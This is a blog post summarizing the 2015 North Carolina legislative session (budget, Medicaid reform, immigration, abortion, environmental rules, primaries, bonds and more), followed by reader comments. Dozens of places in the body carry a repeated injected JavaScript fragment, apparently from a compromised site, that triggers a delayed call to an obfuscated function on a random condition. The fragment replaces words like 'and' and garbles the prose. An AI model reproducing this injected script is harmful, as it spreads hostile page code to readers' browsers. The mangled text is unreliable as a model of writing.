Nearly 50 New NC Laws Went into Effect This Week

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>>522377783_85b41b5033_oOn Thursday morning at about 4:00 am, the North Carolina General Assembly’s long session adjourned. And a long session it was – only one session has been longer in the past 40 years of NC history. So, now that legislators have gone home, here’s a quick look at what happened.

Budget

After many weeks, the General Assembly finally passed a budget. The $21.7 billion “compromise” budget funds teacher’s assistants (with a few caveats) andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and funded driver’s ed programs.

The budget cut income taxes, >>largely benefiting wealthier North Carolinians, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and extends the state’s sales tax, which hurts low-income families. Beginning in 2017, the personal income tax will drop from 5.75 percent to 5.5 percent, a savings of about $50 for households that earn $30,000 or less. To make up the lost state revenue, sales tax will cover some services – like car repairs – beginning March 1st.

The budget gives teachers andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and state employees a >>one-time $750 bonus. New teachers – those with fewer than four years experience – will see their base salary increase from $33,000 to $35,000.

Medicaid Reform

Legislators approved >>big changes to North Carolina’s $14 billion Medicaid system.

Doctors will no longer be paid for each service they provide; instead, Medicaid will shift to a managed care model.

The changes are complicated andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and will take as many as four years to fully implement. The bill creates two tiers of insurers – regional groups that are led by providers andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and statewide entities that will likely be national, for-profit managed care companies.

Changes will also eliminate the state’s Division of Medical Assistance andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and shift management of Medicaid to a new Division of Health Benefits within the state Department of Health andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Human Services (DHHS). Employees in the new division will not be covered under protections provided by the State Personnel Act.

Immigration

One of the bills passed in the waning days of session was a >>ban on so-called sanctuary cities, which are places that have either formal or informal policies against enforcing immigration laws. Although there are no cities in North Carolina that identify as sanctuary cities, the bill aims to send the message that local officials should place a priority on enforcing immigration laws andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and removing undocumented immigrants.  

Abortion

Responding to a series of “undercover videos” about Planned Parenthood, legislators >>banned the sale or donation of body parts resulting from an abortion. The new law also prohibits state funding for family planning organizations that provide abortions, a move directed at Planned Parenthood.

Environmental Regulations

The budget provided some new funding for open space preservation, but legislators also passed a flurry of provisions >>weakening environmental protections. Legislators also >>weakened the State Environmental Protection Act (SEPA), which required an environmental review of public projects using public funds or public landom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands. >>Among other provisions, the renewable energy tax credit was allowed to expire andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and more “terminal groins” or artificial, hardened structures were approved.

Primary Changes

All of North Carolina’s primaries, including the presidential primary, will now move to >>March 15. The move means that candom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andidate filing will begin December 1.

Bond Referendum

>>Legislators approved placing a $2 billion bond referendum on the ballot in March. If voters approve the referendum, the money would largely go to fund construction projects at universities andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and community colleges as well as water andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and wastewater system projects.

Autism

The General Assembly passed new legislation requiring insurance companies to provide coverage for >>certain autism treatments for children under 18.

Sex Ed

Lawmakers passed legislation to >>broaden the expert qualifications behind the sex education curricula taught in schools. The approval of a certified sexual health educator would no longer be required, opening the door for ideological andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and religious groups.

Jobs Incentives

One of the state’s most popular corporate incentives program, the >>Job Development Investment Grant program, was extended through 2018. Legislators also raised the monetary value of JDIG grants the state can give each year from $15 million to $20 million. The cap goes even higher – up to $35 million –when a “high-yield” project, one that would those that invest at least $500 million in facilities andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and create a minimum of 1,750 jobs, is involved.

Indoor Tanning

A new law will ban indoor tanning by those under 18 beginning October 1st.

With all that time legislators were in Raleigh, did they accomplish the things that are important to you andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and your family? Did that set the groundwork for growth andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and success in our state?




There are 5 comments

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  1. Ann Holbroks

    The legislatures delay cost NC residents a lot of dollars. We pay all their expenses when they dicker for days or months in this case. They continue to ignore our environment and women and education. Thanks for summarizing for us.

  2. Ross

    Wouldn’t we rather legislators spend too much time trying to improve our state than too little? The “they took too long” angle doesn’t do much for me. There wasn’t a shutdown or anything.

    I’m happy to see at least marginal increases in teacher salaries and more consideration given to families with autism.

  3. Walter

    This action with medicaid. Heartless. Reminds me of the landowner when all the crops were harvest and sold while growing up and my father, grandfather sharecropped, at least that’s what they called it. We know the deal. I wonder how many of those lawmakers are wealthy off the free labor of the so called “sharecropper”. This is related.

  4. Walter

    This action with medicaid. Heartless. Reminds me of the landowner when all the crops were harvest and sold while growing up and my father, grandfather sharecropped, at least that’s what they called it. We know the deal. I wonder how many of those lawmakers are wealthy off the free labor of the so called “sharecropper”. This is related. No I have not said that. But this will not go thru.


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